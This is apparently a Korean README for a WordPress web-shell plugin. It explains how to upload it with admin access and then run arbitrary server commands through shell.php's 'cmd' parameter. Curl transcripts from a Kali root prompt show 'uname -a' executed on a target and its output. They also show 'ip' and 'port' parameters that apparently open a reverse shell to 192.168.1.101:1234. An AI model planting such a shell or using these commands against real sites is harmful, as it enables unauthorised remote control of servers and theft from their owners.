
저렴하고 지저분한 워드프레스 명령 실행 쉘
저렴하고 조잡한 워드프레스 명령어 실행 셸.
워드프레스를 서비스하는 웹서버의 권한으로 명령어를 실행하세요! 업로드된 셸은 일반적으로 /wp-content/plugins/shell/shell.php 에 위치합니다.
셸을 설치하려면 워드프레스 설치에 대한 관리자 접근 권한이 있고 플러그인을 설치할 수 있다고 가정합니다.
dist/ 디렉토리에 있는 zip 파일을 업로드하거나, 다음 명령어로 자신의 아카이브를 생성하세요:
$ zip -r shell.zip shell.php
adding: shell.php (deflated 39%)
$ ls -lah shell.zip
-rw-r--r-- 1 bob staff 492B Aug 29 14:17 shell.zip
업로드가 완료되면 /wp-content/plugins/shell/shell.php로 이동하여 cmd 또는 ip를 인수로 제공하세요.
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"cmd":"uname -a"})')"
* About to connect() to 192.168.0.1 port 80 (#0)
* Trying 192.168.0.1...
* connected
* Connected to 192.168.0.1 (192.168.0.1) port 80 (#0)
> GET /wp-content/plugins/shell/shell.php?cmd=uname+-a HTTP/1.1
> User-Agent: curl/7.26.0
> Host: 192.168.0.1
> Accept: */*
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Date: Thu, 28 Aug 2014 09:28:24 GMT
< Server: Apache/2.2.14 (Ubuntu)
< X-Powered-By: PHP/5.3.2-1ubuntu4
< Vary: Accept-Encoding
< Content-Length: 191
< Content-Type: text/html
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"ip":"192.168.1.101"})')"
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"ip":"192.168.1.101","port":"1234"})')"